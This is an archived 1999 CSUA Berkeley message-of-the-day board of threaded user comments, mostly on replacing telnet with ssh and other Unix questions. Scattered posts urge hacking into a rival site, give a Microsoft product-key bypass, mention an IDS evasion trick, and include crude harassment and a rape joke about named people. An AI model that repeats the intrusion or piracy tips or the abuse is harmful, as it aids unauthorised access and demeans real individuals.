           \_ but emarkp was able to get "ssh-1.5-1.2.26" from telnet pt 22?
        \_ woah, they have suns at intel?
           \_ ssssh!  Don't let anyone else know. :)  I don't know how
              long this system has been in place.  --emarkp
              \_ suns are better than intels. and for that matter, so is
                 everything else. but intels are cheap which is good
                 enough for my purposes.
        Any ideas on how to fix? -emarkp
        \_ Hint: try  "telnet http://soda.csua.berkeley.edu 22" first.
        \_ try it again now that the campus network is back up...
           \_ I did.  There wasn't even this much when the network was
              down. --emarkp
           and say hello to mister firewall.
           \_ Actually, I got through.  That is, it said:
              Connected to http://soda.csua.berkeley.edu.
              Escape character is '^]'.
              SSH-1.5-1.2.26
              -- emarkp
                \_ Now remove the setuid root bit from ssh.

6/30    Telnet access to Melvyl and Gladis turned off for security
        reasons. ssh only.
        \_ I thought you did't need a password to get on the library
           database.  Is that true?  If so, why does it matter if it's
           secure or not?
           \_ Um, have you ever heard of sarcasm?  How about trying
              "telnet melvyl" yourself to see if this was accurate (it's
              not).
                \_ Imagine that!  Someone sniffing my melvyl login and doing
                   their own research!  Nefarious!

6/30    I asked another host machine to install a ssh client so that I could
        telnet there and then ssh to soda.  Thing is, I can't connect
        because soda doesn't support ssh protocol v2.  Does anyone know
        about plans to change this?
        \_ there's a slightly easier way to do this and it doesn't involve
           asking someone else to install something for you.
        \_ when data fellows makes their ssh2 implementation less stupid
           about their license.
        \_ ssh2 is still in testing and not free for use.  Have them install
           ssh1 as well.
        \_ Ride BIKE!
        \_ Compile your own.
        \_ Interestingly (to me anyway), this only puts the security breach
           one step back.  Instead of a cracker sniffing your soda account,
           \_ the point is that soda's subnet is filled with lemurs.
           they can sniff your other telnet account, and then ssh from there
           to soda and wreak all sorts of terrible havok!
           \_ Telneting somewhere just to be able ssh to soda is a really
              stupid idea.  It not only defeats the security that the soda
              admins are trying to establish, but also compromises the other
              account as well.  Get off your ass and install ssh on your owm
              machine or explore the possibility of using s/key.
              \_ The soda admins are trying to protect against sniffers on this
                subnet.  Telnet->ssh is no dumber than purely telnet,
                and given the number of lemurs probably a bunch safer.

6/28    The CSUA account is mainly for social use, and it's not a
        mission-critical system. I've been using the Soda account for
        almost 6 years, and have found it's very convenient since it does
        not impose many of the restrictions of regular ISP accounts.
        Therefore, I was quite puzzled by the SSH stuff -- I understand
        the importance of security, but isn't the CSUA system is a
        hacker's system? The decentralized nature of Soda is what made it
        wonderful. If the current CSUA leadership wants to impose the
        security measures, can you at least ask for feedback and inputs
        from the users? I was surprised to see the login message without
        hearing anything about the merit of this decision. I suggest for
        now, the decision to shut down telnet should be postponed.
        \_ I second that motion (even though this thread already ran a few
           days ago)
        \_ Need to have the rms:rms account turned on.

06/25 IMPORTANT INFORMATION:

   ************************************************************************
   * Secure password software will be REQUIRED starting July 15th, 1999   *
   ************************************************************************
   *     Starting July 15th, all remote logins to CSUA Computers will     *
   *      require an ssh enabled program for login over the network;      *
   *                                                                      *
   *        -=  STARTING JULY 15th TELNET WILL BE DISALLOWED. =-          *
   *                                                                      *
   *                   For detailed information see:                      *
   *    /csua/adm/doc/ssh-howto   or                                      *
   *    http://www.csua.berkeley.edu/ssh-howto.html                       *
   *             If you have questions, please mail help@csua             *
   ************************************************************************

6/24    It's about time EECS instructional finally enforced an ssh only policy.
        \_ Report them to the Commerce Dept.  They're allowing foreigners to
           use encryption!  That's illegal, the unamerican scum.
           \_ Fuck you.  --sowings
           \_ Oh no, we wouldn't want that to happen would we?
        Now for every other machine on campus to follow suit.
                                                        \_ ^suit^suite
                                                        \_ it's suit, dumbass
        \_ Funny, it's rare that we're in the vanguard.  You should check
           "finger @cory.eecs" though--lots of lusers still stuck with telnet.
                                                                --sowings
           \_ What the hell is so hard about using ssh? ^telnet^ssh
                \_ Part of it may be that users are at a commercial site with
                   a non-SSH-friendly firewall.  --sowings
                \_ Not everyone uses an OS that has ssh.  Not everyone has
                   an OS.  Don't be so OScentric.
                   \_ Everybody IS using an OS that can run ssh (no I'm
                      not talking about Palm Pilots).
                        \_ I work at a secure site that has a terminal/modem
                           that I use to dialout to an annex box on campus
                           and then telnet to soda.  Who the fuck are you to
                           tell me my OS supports ssh?  I don't have an OS,
                           dumbshit.
                           \_ will EECS install an s/key server?  we do that
                              here for cases like this, because we don't
                              trust users to protect their reusable passwords.
              \_ Furthermore, some of us work behind a firewall which
                 does not have ssh enabled (I know how stupid that
                 sounds, but it's true).
                 \_ I use ssh behind a firewall all the time.  Mail root
                    and tell him what a moron he is for configuring a
                    firewall improperly.
        \_ I would love to use SHH -*BUT*- there is *NO* free ssh for windows
                I know you'll all say use linux, but I don't - so there!
                \_ There have been free versions for quite a while loser.
                   http://www.net.lut.ac.uk/psst Get a new excuse.
                   \_ And given that Window$ versions are already compiled
                      they have less of an excuse not to use ssh than Unix
                      people do. Yet the statistics reflect the opposite.
                      \_ WinBlows twits are stupid.  proof: axiom 1.
           \_ Windows: http://www.zip.com.au/~roca/ttssh.html
              Mac:     http://www.lysator.liu.se/~jonasw/freeware.html --dim
           \_ TeraTerm? http://depot.berkeley.edu always has free stuff.
           \_ Why is ssh free for UNIX but not for Win or Mac? Is it a patent
              issue?
              \_ porting stuff across unix tends to be very easy (ie. almost
                 nothing to do) whereas writing a port for Win or Mac is a
                 total pain in the ass to do.  Hence, people who do write
                 the ports ask for $$$.
                 \_ They must be evil for not doing it out of the GNUoodness
                    of their hearts and for the love of technology.
           \_ A free port at
              http://akson.sgh.waw.pl/~chopin/ssh/index_en.html
        \_ just a random check on soda:
           netstat -n | awk '($4 == "128.32.43.52.22") {print}' | wc -l
                126
           netstat -n | awk '($4 == "128.32.43.52.23") {print}' | wc -l
                83
            --jon
            \_ what is port 22 for?
                \_ ssh moron
                   \_ why did this deserve a "moron"? i'm sure at one time
                      you didn't know what port 22 is for, or even what a
                      port was.
                        \_ look in /etc/services moron
                           \_ Wow, you're a real asshole.  The guy knew what
                              the command line did, but didn't know a lousy port
                              number and isn't a linux s00per g0r0 like you
                              so he's a moron?  Are you Trevor Buckingham?
                              \_ No, *I* am Trevor Buckingham!
                                 \_ Please start smoking pot instead of crack.
                                \_ I am Jean Valjean
                                   \_ My name is Paolo Soto, you got into the
                                      LSCS major, prepare to die.

6/24    It's about time EECS instructional finally enforced an ssh only policy.
        Now for every other machine on campus to follow suite.
        \_ Funny, it's rare that we're in the vanguard.  You should check
           "finger @cory.eecs" though--lots of lusers still stuck with telnet.
                                                                --sowings
           \_ What the hell is so hard about using ssh? ^telnet^ssh
                \_ Not everyone uses an OS that has ssh.  Not everyone has
                   an OS.  Don't be so OScentric.
        \_ I would love to use SHH -*BUT*- there is *NO* free ssh for windows
                I know you'll all say use linux, but I don't - so there!
           \_ Windows: http://www.zip.com.au/~roca/ttssh.html
              Mac:     http://www.lysator.liu.se/~jonasw/freeware.html --dim
                \_ TeraTerm? http://depot.berkeley.edu always has free stuff.
           \_ Why is ssh free for UNIX but not for Win or Mac? Is it a patent
              issue?
              \_ porting stuff across unix tends to be very easy (ie. almost
                 nothing to do) whereas writing a port for Win or Mac is a
                 total pain in the ass to do.  Hence, people who do write
                 the ports ask for $$$.
                 \_ They must be evil for not doing it out of the GNUoodness
                    of their hearts and for the love of technology.
           \_ A free port at
              http://akson.sgh.waw.pl/~chopin/ssh/index_en.html

6/21    Can anyone give a pointer to a utility that will recover passwords
        from a MS Access .mdw workgroup file?
        \_ http://www.lostpassword.com -shac
        \_ Can anyone give a pointer to a utility that cracks passwords
           on Access files?  How about Unix /etc/passwd files?  MS
           installer codes?
                \_ MS Install product keys: Try using all 1's.  Works every
                   time I've tried it!  Office, DevStudio, SourceSafe, etc.
                        \_ Some take all 0's instead/as well.
                        \_ I think only the CS department copies can do that.
                           Normal Office/DevStudio CDs don't allow that.
                           \_ UC doesn't get special copies of anything.  I've
                              seen the boxes, installed the software, etc.  It's
                              generic.  At least for Office and the OS.  Didn't
                              install DS but the CD's looked the same.
                        \_ All "4" works on some stuff too.
        \_ fdisk.

6/18    How much for a life account on soda?
        \_ soda account and having a life are mutually exclusive.
        \_ u must FIRST bring back root a SHRUBBERY!
            \_ namely marijuana
               \_ or MDMA
                \_ dissociatives are bad for you.
                   \_ It's all bad for you.
                      \_ is this what you learned from government sanctioned
                         propaganda and programs like D.A.R.E ? You're the kind
                         that they like, follow directions, don't question
                         authority and you'll do fine.
                         \_ No, child, this is what I learned from
                            watching my girlfriend destroy her life.
                            You're a prick.  Little wannabe druggy
                            fucks all think they're so smart and anti-
                            government-conspiracy and all that bullshit.
                            Well, clue time.  You're just a dumb shit
                            moron burning out your brain and body.
                            I'm not a child of the DARE generation.
                            I'm a child of the been-there-knows-that-
                            first-hand generation.
                         _/
                   Then someone of your OBVIOUS wisdom, and intelect
                   would surely refrain from generalizing comments
                   like, "it's all bad" I bow before you unending
                   insight and wisdom, but clearly you can't be
                   serious about comparing your crack-whore gf to
                   an occasional pot smoker or social drinker.
                        \_ You're a prick.  Please dope up and drive off a
                           cliff and drown to death.  The world will be a
                           better place.
        \_ First you must get a life.  Life accounts are only awarded to those
           who graduate with all 5 life points.

6/11    Thirdvoice again!  http://nototv.hypermart.net
        seems they have added some javascript, and put it into the
        public domain, that hoses thirdvoice's functionality.  they
        are using refresh loops (KLUDGE) to flush the notes every
        1000 milliseconds or something.  really screwey, and it
        has a tendency to crash things.  also, thirdvoices server has
        been hosed today.  i am thinking that with each flush, my
        client tries to get the notes from thirdvoice, then the
        connection gets abandoned and leaves a zombie http connection
        that their server takes x tens of seconds to flush out.  so,
        the hypermart people are, in a way, mounting an attack on
        thirdvoice.  probably a great time for any of you good hackers
        to get into hypermart and fuck shit up.  -caliban
        \_ can't you just hit the Stop button / Escape?
        \_ All I can say is kludges are just that, kludges.  -Judd
        \_ thirdvoice is really racking up the enemies.  Either abovenet
            died or someone threw a denial of service attack at them.
            \_ got any more info?  -caliban
                \_ I do.  Send a resume.  :-)   -Judd
                \_  it was just paranoia -- one of abovenet's cat5000'si
                    'got confused'.
        \_ apparently http://www.macosrumors.com has come out against 3v too -caliban
            \_ I'm tellin you, its all them snooty web designers, who dont
               want to hear someone making bad comments on their sites. -ERic
            \_ I'm against hatred and war.  Hasn't stopped hatred and war.

6/8     Commentary on third voice:
          http://www.macnn.com/contributions/webpages.shtml
          \_ can anyone see the notes posted on that page?  i have
             thirdvoice installed, and it works on other pages.  there
             are notes posted on that page; thirdvoice pulls up the
             topics in their frame but i am unable to read them.
             clicking on the note icon in the text does not work.
             i get an occasional javascript error, i wonder if they
             are hosing the thirdvoice stuff somehow.  --caliban
             \_ I can read it ok.  That's what public betas are for.  If you
                mail your system details and the URL to feedback@thirdvoice.com
                someone will check it out.  -Judd
             \_ strangely enough that site's annotations are failing in my
                3rdvoice client too. -Eric
          \_ Watch the web designer weenies whine!  They just can't share the
             internet.
          \_ Amazing! Singaporeans pushing the limits of free speech.
            \_ Yeah, go figure!

6/4     http://Amazon.com wanx.  Amazon lets the publishers have access to
        customer reviews two days BEFORE they are actually posted,
        giving them time to write up two or three 'good' reviews
        the same day the 'not-so-good' review comes out.  Eg., look
        for books written by Steve S. Miller, published by McGraw Hill.
        His books absolutely suck, but he somehow has all these
        totally cheesy reviews posted by anonymous readers who all
        say the same overly complimentary things.  Stuff you'd never
        find on the Soda motd.
        \_ sounds legal and like standard business practice to me
        \-while i think this kind of disclosure/discussion is useful, i dont
        look to amazon for book reviews ... i want one thing from them and
        that is cheap prices and decent customer service. in my experience
        "truth" comes out of a dialectic ... from reading multiple sources.
        generally you shouldnt look for "one relaible source" ... unless
        it is me or the ecomonist. --psb
        \_ Uh, The Economist has its idiosyncracies too (e.g., declaring that
        Clinton should resign the week Monica-gate broke: a little
        premature, as they themselves later admited) --Economist Reader

5/23    Did you hear that Ari and Christine are married?
        \_ "If you need to ask, you don't know."
        \_ Why should we care?
        \_ How many times have we heard about this?
        \_ Which Christine?  (Which login?)
                \_ the one with 3 different logins because she can't make
                         up her mind.
                \_ The one that's been living with ari for years.  If you
                   don't know her login, you don't know her and don't need
                   to know.  (Hint: If you pay any attention to walls, you
                   know who.)
                \_ Why does anyone care?  Just shut up.  It's not like, "Did
                   you hear Ari and Christine are tag team serial killers?"
                   \_ This is outrageous.  There is no evidence that
                      Christine has help Ari with any of his crimes,
                      especially not serial killing.
                        \_ there's a website out there of her holding down
                           twaung while ari rapes him
                           \_ http://www.networkgen.com/~twaung/images/bean1.jpg
                              \_ Damn!  I got 403 Forbidden.
                              \_ what kind of lamer puts an image in
                                 his PUBLIC HTML "images directory, then
                                 revokes view privilege for it? Either
                                 have it there, or not. sheesh.
                           \_ I thought it was Ari holding him down while
                              xtine raped him.
                   \_ I just want to check out her pics if she has a home page,
                      to see how lucky/unlucky Ari is.
                        \_ Ari is filthy rich, Christine is a lot hotter than
                           your hand, you just lose in comparison.
                           \_ I dunno dood....My hand is pretty good looking.
                        \_ ~chris
                        \_ Boy-child, luck has nothing to do with it.  The
                           sooner you get over that idea, the sooner you'll
                           be making love to a woman instead of your hand.
                           \_ And if you're Ari, this will include cheating
                              too.
                              \_ What?  Do tell!
                           \_ That was what I thought until I have this
                              hot babe fall from the sky.
                                \_ What'd she weigh?  Or did you let her
                                   bounce a few times first?

5/20    Access to Software for All People jobs is /csua/pub/jobs/ASAP

5/19    Dear root
            It would be really cool if you could remove all the old job
            listings from /csua/pub/jobs, I'd be more than happy to do
            it myself but my BSD security compromising fu is lacking.
            You see I need to find a job so I can afford an NT license,
            I can't get any work done without that wonderfull paperclip
            helping me along the way. Thank you very much and may god
            love you for ever.                  job-less on CSUA
            \_ find a headhunter.  try http://dice.com
            \_ Wired is hiring.  http://www.hotwired.com/jobs  good luck.
            \_ ls -l will tell you when a company's job listing was
               last fiddled with.  Old listings' job openings probably
               don't exist, but the company probably still does.  If
               the company sounds interesting, try their website.

5/17    PLEASE clean up your old crap in the /csua/pub/job dir!
        \_ I'd like to, but all the files and dirs I put there before are now
           owned by root.
Darth Maul kills Qui-Gon.
                \_ root would be happy to help you with this problem.

5/15    It's the "Message Of The Day", not "Messages Of Last Week".
        If you don't want it nuked, start something fresh.
        \_ It's also not the standard root-only motd.  You want it wiped
           once a day, petition root to make a cron job.  Since you obviously
           don't "get it", just use a .hushlogin and leave the rest of us
           alone.
        \_ I don't want it wiped once a day, I want it to not be full of
           stupid trollfests from a week ago that keep getting replaced
           by the original trollers.
           \_ Dumbshit, nothing on the motd was more than 48 hours old.  Get
              a fucking calendar.
        \_ maybe ERic should stop rcsing the motd.  That is how poeple
           get old copies to replace it with.
           \_ No it isn't.  It is actually possible to save a copy yourself.
              This may come as a stunning revelation to you, but the cp
              command isn't root only.

5/6     /usr/local/bin/premail is installed.
        It connects to the "nym" remailer.
        It requires pgp2.6 to work.
        The nym server uses a 2048 bit key.
        Ours only supports 1024 bit keys.
        \_
        jon@soda:~ ttyRP 1:19:07am 6% pgp -kg
        Pretty Good Privacy(tm) 2.6.2 - Public-key encryption for the masses.
        (c) 1990-1994 Philip Zimmermann, Phil's Pretty Good Software. 11 Oct 94
        Uses the RSAREF(tm) Toolkit, which is copyright RSA Data Security, Inc.
        Distributed by the Massachusetts Institute of Technology.
        Export of this software may be restricted by the U.S. government.
        Current time: 1999/05/07 08:22 GMT
        Pick your RSA key size:
            1)   512 bits- Low commercial grade, fast but less secure
            2)   768 bits- High commercial grade, medium speed, good security
            3)  1024 bits- "Military" grade, slow, highest security
        Choose 1, 2, or 3, or enter desired number of bits: 2048
        Generating an RSA key with a 2048-bit modulus.
        --I dont know who the fuck you are, but 1) you didnt mail root
        and 2) you arent even smart enough to read the fucking directions
        that pgp gives you on a fucking silver platter.  --Jon
        \_ Valium, homeboy.  He probably meant that pgp supports a
           maximum 1024 bit keylength.  -John
                \_ but it doesn't.
                   \_ Yes, I know that, and you know that, but it didn't
                      show up in the options and he was probably tired
                      and didn't think that far.  No reason to go apeshit.
                                                        -John "fuck"
                        \_ wierd. tried again, it worked now. BUt it
                           failed before, complaining aobut keylength.
        \_Why is soda stuck on 2.6.2?  PGP 5 is available for *NIX, with 6
        available within the month.  6 supports 4096-bit keys, which if you
        read Cryptonomicon (Neal Stephenson's new book) is secure for 100 years
        and may even be suitable to keep secure until men are no longer
        capable of evil! (forever).  As far as I know, the book does not have
        a protagonist who attended UCB in the 90's and studied CS (as snow
        crash did) --cody
        \_
        /usr/local/bin/pgp      /usr/local/bin/pgpencrypt
        /usr/local/bin/pgp5             /usr/local/bin/pgpk
        /usr/local/bin/pgp_old          /usr/local/bin/pgps
        /usr/local/bin/pgpdecode        /usr/local/bin/pgpshow
        /usr/local/bin/pgpe             /usr/local/bin/pgpsign
        /usr/local/bin/pgped            /usr/local/bin/pgpv
        --Jon. Hint Hint, it is possible to have both installed.

4/5     If sshd does host authentication for .shosts files why do people still
        say that .shosts is still insecure.  This is assuming that all the
        entries point to a computer that I maintain and I am the only user
        on that system.
        \_ how do i use shosts?  is it the same as rhosts?
        \_ if someone breaks into that system, they can steal the host
           key.  But .shosts is reasonably secure. -tom
           \_ How secure is having tcp-wrappers blocking all external
              connections and running this computer on a ppp dialup
              connection that times out after 15 minutes of inactivity.
              I'd think it would be pretty obvious if someone broke in.
                \_ tcpwappers probably doesn't wrap all your services. -tom

3/30    In a /lib /usr/lib directory what's the diff between a lib*.a and
        a lib*.so file?
        \_ .a is "archive" and produces static (compile-time) linking, while
           .so is "shared object" and produces dynamic (run-time) linking.
           \_ so what the heck is "linking"?
                \_ man ld
              \_ well, if you're a DOS weenie, a .so file is like a .DLL file
                 in short: .a files are things that get added to your program
                 when you compile it; people don't need them to run the
                 executable, but it's huge.  .so files get "added" (linked)
                 when a person runs the program, so they need to have copies
                 of them, but the executable is smaller.  generally .so
                 (shared libraries) are better because then 100 programs on
                 your machine can use one library without (essentially) having
                 100 copies of the library present in every executable -dbushong

3/29    Is there a cel phone service in the area that lets me call in the
        entire state?  I want to be able to use it both here and Los Angeles.
                                                        -- brendal
        \_  yes.  have you even looked at any of the service providers yet
            at all?  cellone and gte have both been advertising this sort
            of option heavily.  the former lets you call from anywhere in
            california but hasn't come out with a nationwide plan yet.  gte
            has a national onerate service plan.
        \_ Pacbell PCS does it if you get an extra $20/month plan named
           WildFire.  GTE does not do it.  L.A. is roaming at 0.40/min.
           Sprint does it but has no coverage on the long-distance freeways.
           PacBell and CellOne are the solid west-coast choices.  Otherwise
           GTE or Sprint would be cheaper if you are on the east coast too.

3/29    How do I test to see if a file has "other" +"read" permissions in C?
        \_ man 2 stat?
        \_ or check out the access(2) manpage.
           \_ stat doesn't have anything to do with accessibility and access uses
              user ID to check for access
                \_ which part of "mode" don't you understand?
                \_ stat has this:
                        mode_t st_mode /* File mode */

3/11    There's ssh and scp.  Is there sftp?  I want to interactively get
        and put a file.  scp is rather inconvenient.
        \_ DataFellows ships an sftp but it's just making an ssh tunnel
           to the ftp-cmd channel for you to use.  It only secures the
           command channel and requires that you have some account on the
           remote machine.  Due to the design of the ftp protocol, it
           is difficult to secure the data channel, though there are ways to
           do this that involve a bit of work on the part of an administrator.
           --jon
           \_ I'm sure you could just write a little script called sftp that
              would establish a secure channel and tunnel ftp automatically.
              \_ no, you can not do it with a simple shell script for
                 the data channel.  The command channel is simple, data is
                 not with most of the unix ftp clients available.
              \_ in many cases, you need to hack the ftp client from source
                 (or edit raw binary for the truly fooful) to get it to
                 use arbitary host:port's for the data channel (you need to
                 use ftp's passive mode btw).  There is a way to combine both
                 the data and command channel for easier forwarding through
                 a novel use of a socks proxy.  This is the "bit of work" to
                 which I earlier referred.  --jon
                 \_ Most people only really care about securing the command
                    channel because of the password.  If you were working
                    on something top secret, however, that would be a diff
                    story and you should just use the inconvenient scp.
                 \_ How about:
                    ssh -f -L 1234:csua.berkeley.edu:23 http://csua.berkeley.edu
                       sleep 20 </dev/null >/dev/null
                    as adapted from the fetchmail manpage?
           \_ What about writing an expect script to transfer files using
              ssh?  For example, if I want to get a file to my machine
              from soda I can do:
              ssh soda -C cat filenameOnSoda > fileNameOnMyMachine
              You can use the same trick to send a file.  You could
              write a script that would also let you do ls and other
              stuff too.  -emin
              \_ the nice thing about a "secure ftp" is that you
                 amortize the cost of the SSH authentication process
                 over the transfer time of a number of files rather
                 then once for each file transferred, and yet you
                 can still deal with files on a individual, interactive
                 basis.  Doing ls via another ssh-wrapper would just
                 add to the number of ssh-authentications needed, which
                 for some users is a high cost.  --jon
        \_ Try SRP. It provides a secure ftp and ftpd, along with a few other
           cool security features.
                \_ Can someome who has looked at SRP explain what it is about?

3/9     Given all the network sniffing that goes on, how about turning off
        telnet and rlogin on soda and force everybody to use ssh?  I think
        the cost of dealing with ssh problems outweighs the consequences of
        a break-in.  What do you guys think?
        \_ no ssh installed on UCB dialup CLI connections
           \_ I honestly have to wonder how many people still use CLI
              from the annexen.  --sowings
              \_ All the lazy people who don't want to bother to setup ppp.
        \_ Discriminates against our non-US-citizen members who we legally
           aren't allowed to let use ssh/sshd.  (Stupid US goverment fucknuts)
           \_ sshh...you don't want to make fun of the US govt. They might
              be watching the motd and consficate soda.
           \_ You're wrong; the most popular implementations of SSH for all
              major platforms (Windows/Mac/Unix) are developed and sold
              outside of the US.  The US is starting to lag, not lead, in
              crypto software, because of crypto export laws.
                \_ So.  That has nothing to do with the CSUA violating the
                   law everytime it allows a non-citizen to use encryption
                   software - even if they downloaded ssh on their own, it's
                   useless without the sshd software running on soda.
           \_ I know of a supercomputer center run by the government and
              foreign users connecting to that system MUST use ssh.
              If it's OK for them, it's probably OK for soda.  --peterM
        \_ There is no free SSH client for Windoze, to my knowledge
           -muchandr
           \_ http://www.zip.com.au/~roca/ttssh.html --dim
           \_ F-Secure SSH seems to be free as well.
                \_ only for 30 day trial
           \_ Then you should look at http://www.net.lut.ac.uk/psst
                and learn much...
           \_ http://www.ocf.berkeley.edu/~tee/ssh
        \_ who cares?
                my ssh key into an sshd on a machine run my people i dont
                \-I think this is an insane idea. I dont want to type
                my ssh key into an sshd on a machine run by people i dont
                know and i dont trust ... and I would rather not set up a
                "low security" ssh key in addition to my regular one.
                given all the network sniffing that goes on, use rhosts
                and dont trust soda on machines you care about.
                What are you going to do about the XDM machines?
                I disagree with your cost-benefit analysis. The cost of a
                compromised passwd isnt that high. The cost of a compromised
                ssh key is high. For one thing, the hacker can hide from IDS
                systems. I wont go on any more. It was reasonable to float
                this balloon, but crazy to jump on it. --partha "i watch the
                net" banerjee
                \_ you never ever type your ssh-passphrase to
                   a remote process.  the remote sshd, when you use
                   RSAAuthentication, provides you a challenge to which you
                   respond.  That response is the equivalent  of doing an
                   RSA encrypt with your private key which the remote
                   sshd tries to decrypt with the public key you deposited
                   on the remote host earlier.  If what the remote sshd
                   obtained by decrypting your response  with your public
                   key and and the original challenge coincide, then you
                   are authenticated.  Of course, if you do not trust
                   RSA, and think someone may use your public key to obtain
                   your private key and the pass prase you use to further
                   protect it against local machine attacks, thats another
                   story. --jon
                \_ Oh great psb, please sniff my network in a sexual way.
                                -psb #1 fan
                   \_ Poser.   The real -psb #1 Fan
                \_ Uh, partha, you do realize that you don't need to use
                   RSA authentication to still get most of the benefits
                   of ssh.
                        \- yes but realistically you see more trojaned
                        clients and daemons than seq number or spoof attacks.
                        my point was this imposes a reasonable cost for people
                        who log in from a lot of different machines.
                        \_ It would be pretty obvious if you had logged into
                           a trojaned sshd server. In addition to the server
                           authenticating you the client also authenticates
                           the server and spews a nasty message if the
                           authentication fails.
                        \_ What do seq number or spoof attacks matter?  The
                           attacks we see daily on campus are packet sniffers.
                           ssh eliminates the threat of packet sniffing
                           script kiddies, whether or not you use RSA
                           authentication.  -tom
                           \_ I think he is saying that he believes one is
                              better off using rlogin and .rhosts as
                              attacks spoofing a connection from a
                              trusted host or attempting to hijack your
                              connection are rarer than trojan attacks.
                                --sky
                  \_ Do you passively sniff traffic or do you run the IDS
                  on a gateway and dynamically block packets?  If you are
                  just passively watching the traffic, until TCP/IP
                  stacks are standardized, your IDS can be circumvented 7
                  ways to sunday.  Its so easy to inject packets that will put
                  the IDS and the target host's stack in inconsistant states.
                  How do you deal with something as simple as TTL?  --sky "i
                  0wn j0r n3t w1th my 31337++ hAx0r sk1LLz" king
                        \-the TTL problems is in fact tricky and really
                basically intractible. i think we are cleverer than you
                think. i cant discuss exactly what we do, but if you have
                some attack based on ttls ot fragmentation or whatever,
                anything stealthy, as opposed to a flood/DoS, we would be
                interested in talking to you to see if you can evade our
                monitor. the commercial monitor cos are just interested in
                profit maximizing ... so if it would take a huge effort
                to fix something and lacking that one thing isnt hurting
                their sales much, then they wont fix it/ for example a major
                IDS which will remain nameless only keeps 3minutes of "state",
                which means if you just control-z a connection for 3min, you
                have probably evaded the monitor. anyway, if you are serious
                drop us a note. i am not going to publicly comment on the
                non-passive part of the monitoring. --psb
                \_ Yeah.  We have a whole library of scripts written
                   in a custom language for sending and receiving raw
                   net traffic that we use for OS fingerprinting,
                   firewall penetration testing, and IDS circumvention.
                   We have a collection of scripts whose purpose is to
                   exploit descripencies in stack implementation so that
                   the IDS and the target systems state become disjoint,
                   allowing us to insert evil data w/o the IDS detecting it.
                   It would be interesting to see how BRO handles under
                   these conditions.  --sky
                \_ "non-passive": guys in full-length black Kevlar suits
                   with BIG GUNS
                        \that's "big *fucking* guns" to you. --psb
                \_ Um, this whole conversation has me completely lost.
                   Any sources to strengthen my security/network fu?
        \_ How about just forcing telnetd/rlogind users to use one-time
           passwords until they can be elite enuf to use some kind of encrypted
           login system?
                \_Is using ssh w/o sshd a waste of time?
                  \_ sshd is the server; ssh is the client.. they're pretty
                     useless without each other.  You probably meant
                     "w/o ssh-agent" And no, ssh is still useful without
                     ssh-agent, whatever psb might think about the impossiblity
                     of ssh password authentication --dbushong
                        \-i dont even know what "the impossibility of ssh
                        passwd authentication means". the only think i said
                        was close if not actually impossible was for a passive
                        monitor upstream from a destination host to replicate
                        the stream it would see if it were in a different
                        point in "net space". aka "the TTL attack". --psb
                  \_ some silly places have ssh set up to automatically call
                     rlogin when the target host is not running sshd.  this
                     is a completely useless way to run ssh, and might
                     screw you one day when you're tired and not noticing that
                     this time your connection is not encrypted.
                     \_ You implied in your original post that you need to
                        generate an ssh key in order to use ssh, which is not
                        true.  --dbushong
                        \-BTW, is anyone familiar with the stuff at
                        <DEAD>srp.stanfraud.edu<DEAD>? --psb
                        \_ Yes.  mconst was thinking of patching it into
                           ssh one of these days.  --dbushong

2/23    HELP TURN BAY BRIDGE FRAUD ON IT'S HEAD!!!!
            One-click E-Z activism:
                <DEAD>users.lanminds.com/~jmeggs/baybridge.html<DEAD>
            Cool editorial in SF Chronicle today:
                http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/1999/02/23/ED54484.DTL

2/19    Don't buy from Site For Sore Eyes.  Besides being incompetent,
        overpriced, and complete liars ("Your insurance will cover it."),
        their service sucks and their warranty is virtually useless.
        \_ Try "For Eyes".  Prices are fairly reasonable and service is
           very friendly.  They also have a good warrenty on their stuff.
        \_ "For Eyes" will also fix your b0rken eyewear free of charge
                even if you didn't buy it there...if it can be fixed.

2/1     http://www.infobeat.com/stories/cgi/story.cgi?id=2558287745-883
        At&t phone service over cable tv cables.
        \_ would you trust people who can't even keep up their own web site?
           and who can't promise a representative will get back to you
           sooner than "sometime in the next 24 hours"?

1/27    Why isn't biff working? Why isn't comsat running?
        \_ because comsat is a stupid idea and a security hole.
                \_ What kind of security holes exist? Can't we just use
                   pam.d to block all comsat access EXCEPT 127.0.0.1?
                \_ root compromises from 127.0.0.1 are still root compromises.
        \_ just run philbiff +lots, its much coooler. -ERic
        \_ use "newmail"
        \_ Procmail and a few lines of perl works better.

1/26    Is it possible to SSH out through a firewall to, say, soda?  For
        some reason, my connection keeps timing out.
        \_ depends on the firewall and the ssh installation.
        \_ try ssh -v, ssh -P, and ssh -v -P
        \_ Is it possible they blocked outgoing connections.  As the above
           said, it depends.

              __
             /  \
            / ..|\
           (_\  |_)
           /  \@' Woof!  Damn your mom was good.
           /  \@' Woof!  Damn yer mom was good.
          /     \
      _  /  `   |
     \\/  \  | _\
      \   /_ || \\_
       \____)|_) \_)

        \_ stay! good doggie.

              __
             /  \
            / ..|\
           (_\  |_)
           /  \@'
          /     \
      _  /  `   |
     \\/  \  | _\
      \   /_ || \\_
       \____)|_) \_)

1/21    Rewling ssh/telnet client for winblows...
        http://www.vandyke.com
        \_ Better ssh/telnet client for windows, and this one's free:
           http://www.zip.com.au/~roca/ttssh.html

1/15    Two sys admin questions:
        1) How do I disable EXPN in sendmail 8.8.7?
        2) Is ssh 1.1 client compatible with ssh 2.0 server?
           \_ i think you need to install the old sshd and then tell ssh2d
              to accept ssh connections using sshd rather than ssh2d.  The
              protocols are different and hence are not compatible.
        \_ bang yourself on the head with a ball-peen hammer until you
           get over this stupid idea that you should disable EXPN.  -tom
        2) Is ssh 1.1 client compatible with ssh 2.0 server?
           \_ i think you need to install the old sshd and then tell ssh2d
              to accept ssh connections using sshd rather than ssh2d.  The
              protocols are different and hence are not compatible.

1/13    Irish lassie makes encryption breakthrough:
        URL:  http://www.msnbc.com/news/231690.asp
        \_ Who cares?  The only people who use encryption are pinko commies
           and perverts with something to hide . . . and dirty foreigners.
           It's no surprise that a foreigner came up with this.  I wouldn't
           be surprised if she turns out to be a commie.
           \_ Gee.  If that 16-year-old girl were a Cal student instead,
              would you guys say the same thing?
              \_ It would depend on whether or not she was a hottie.
                \_ She was rather plain but I'm sure soda geeks would be all
                   over her.
        \_ Has it been subjected to any serious peer review?  Bruce
           Schneier points out that smart people are wont to invent bad
           ciphers when they ignore peer review...
           \_ It was submitted to a school science fair.  (or fare? wtf is the
              online dictionary?)
              \_ /csua/bin/webster
        \_ I would be really interested to see an alternative crypto
           algorithm that is "10 times faster than RSA".  Unfortunatly
